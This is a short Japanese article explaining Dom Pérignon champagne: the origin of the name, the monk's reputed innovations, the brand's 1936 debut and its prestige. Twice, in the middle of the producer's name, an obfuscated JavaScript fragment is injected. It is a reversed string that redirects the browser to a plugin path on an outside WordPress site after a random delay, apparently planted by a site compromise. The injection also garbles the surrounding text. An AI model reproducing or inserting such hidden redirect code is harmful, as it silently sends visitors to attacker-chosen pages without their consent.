ドンペリとは、シャンパン界のドン「ドン・ペリニヨン」である
ドンペリとは？
ドンペリはワインの銘柄。
正式名はドン・ペリニヨン。
フランスのモエ・エ・シャンドン(Moët et Chantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don)社が生産しているワインです。
Moët et Chantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donの文字は、日本でもよく目にしますよね。
ドン・ペリニヨンはワイン名になっていますが、元々は人物名です。人物名がワイン名になったのは、ドン・ペリニヨンがシャンパンを発明したからです。
シャンパンの父、シャンパン界のドンこと「ドン・ペリニヨン」。もちろん、「ドン」は、尊敬の気持ちを込めて周囲が名付けた呼び名であり、本名はピエール。ペリニヨンです。
日本人的な感覚で言えば、「ピエペリ」と略すよりも「ドンペリ」の方が重みがあり、歯切れも良いですよね。
今の当たり前を発掘したドン・ペリニヨンの功績とは？
ドン・ペリニヨンの最大の功績と言われているのが、複数の村や畑のブドウをブレンドしたということ。「えっ？そんなのいたって普通ですよね」なんて思うかもしれませんが、当時は画期的な手法だったんです。
シャンパーニュ地方はブドウの栽培の北限で、ブドウがなかなか熟さない年がありました。そして、畑によって、ブドウの出来はバラバラ。品質を保ったワインをコンスタントに生産するために、ブレンドを思いついたんです。
また、ドン・ペリニヨンは、黒ブドウの赤い色素は黒ブドウの果皮にあるので、果皮と果汁との接触を避ければ､黒ブドウからでも無色の果汁が得られることにも気づきました。
その他にも、イギリス製の丈夫なガラス瓶にワインを詰めて、コルクで詮をすることも思いついたと言われています。
ドンペリニヨンのデビューは1936年
1921年ヴィンテージを1936年に「ドン・ペリニヨン」として世に出し、ドンペリの歴史が本格的に動き始めます。18世紀のノスタルジックな型をした瓶に詰まったシャンパンは、世界不況の影響を受けていたシャンパン業界に旋風をもたらします。
ドン・ペリニヨンは永遠に不滅
LVMH(エルヴェエムアッシュ モエ・ヘネシー・ルイ・ヴィトン)のCEOは、
20年後にiphoneはなくなっているかもしれないが、ドン・ペリニヨンは飲まれている
と言及しています。歴史も品質も愛され方もすべてが一流のドンペリ。日本では夜の繁華街でふざけたゴージャスな飲み方をする際の一品のような雰囲気もありますが、海外では、ドン・ペリニヨンは、ゆったりと深く愛を持って真剣に味わう飲み物なのです。
